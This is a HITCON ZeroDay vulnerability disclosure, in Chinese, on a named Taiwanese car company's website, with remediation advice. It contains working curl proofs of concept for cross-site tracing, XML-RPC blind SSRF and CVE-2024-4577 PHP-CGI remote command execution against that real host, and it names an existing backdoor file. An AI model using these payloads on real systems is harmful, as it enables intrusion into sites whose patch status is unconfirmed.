匯聯汽車網站存在 XST + CVE-2022-3590 (SSRF) + CVE-2024-4577 (PHP CGI parameter injection)

Vulnerability Overview

ZDID: ZD-2024-01410
發信 Vendor: 匯聯汽車股份有限公司
Title: 匯聯汽車網站存在 XST + CVE-2022-3590 (SSRF) + CVE-2024-4577 (PHP CGI parameter injection)
Introduction: 網站存在 XST + CVE-2022-3590 (SSRF) + CVE-2024-4577 (PHP CGI parameter injection)

處理狀態

目前狀態

公開

Last Update : 2024/12/29

新提交
已審核
已通報
未回報修補狀況
未複測
公開

處理歷程

2024/10/29 23:22:15 : 新提交 (由 BTtea 更新此狀態)
2024/10/31 13:28:32 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2024/11/09 12:11:35 : 通報未回應 (由 HITCON ZeroDay 服務團隊更新此狀態)
2024/11/09 12:14:35 : 通報未回應 (由 HITCON ZeroDay 服務團隊更新此狀態)
2024/12/29 03:00:12 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2024-01410
通報者：blacktea_player (BTtea)
風險：嚴重
類型：程式碼執行 (Code Execution)

參考資料

攻擊者可藉由此漏洞執行惡意程式碼，進行如操縱網站作業系統等惡意行為。

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

XST

由於 HTTP 可接受 TRACE 過舊的協議，可利用於 XST 攻擊

curl -i -X TRACE "http://www.hl-motor.com.tw/xmlrpc.php" -H "XST: <script>alert(1)</script>"

運行結果

CVE-2022-3590 (SSRF)

由於xmlrpc可供任意存取，導致可利用其進行盲 SSRF
PoC

curl "http://www.hl-motor.com.tw/xmlrpc.php" --data '<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
  <params>
    <param>
      <value>
        <string>這裡可以放DNS目標</string>
      </value>
    </param>
    <param>
      <value>
        <string>http://www.hl-motor.com.tw/</string>
      </value>
    </param>
  </params>
</methodCall>'

運行結果

CVE-2024-4577 (PHP CGI parameter injection)

由於使用舊版的 xampp，其存在此CVE弱點，可經由下方網址注入惡意參數來達到遠端命令執行 (在linux中輸入下方指令)

curl -o - "http://www.hl-motor.com.tw/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" --data '<?=`whoami & dir`;die();?>'

執行結果

無意義但不應該被存取的站點目錄可能導致資訊洩漏或其他危害

http://www.hl-motor.com.tw/dashboard/phpinfo.php (phpinfo)
http://www.hl-motor.com.tw/administrator/ (Joomla! 後台)

發現在10月時就有被入侵的痕跡，建議清查所有檔案是否有藏PHP後門

在 C:\xampp\htdocs 底下

ODaknW0.php

根據 CVE-2024-4577 利用，CVSS 3.1 分數為 9.8 分
https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE 類型 - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
https://cwe.mitre.org/data/definitions/78.html

參考資料
https://nvd.nist.gov/vuln/detail/CVE-2024-4577/change-record?changeRecordedOn=06/09/2024T16:15:09.550-0400

修補建議

XST 問題可谷歌修補方法

xmlrpc.php 問題可使用 .htaccess 來限制使用該功能，或者直接移除該檔案

CVE-2024-4577 修補可參考下方網址
https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/

擷圖

留言討論

聯絡組織

發送私人訊息

您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。

匯聯汽車網站存在 XST + CVE-2022-3590 (SSRF) + CVE-2024-4577 (PHP CGI parameter injection) - HITCON ZeroDay

Vulnerability Detail Report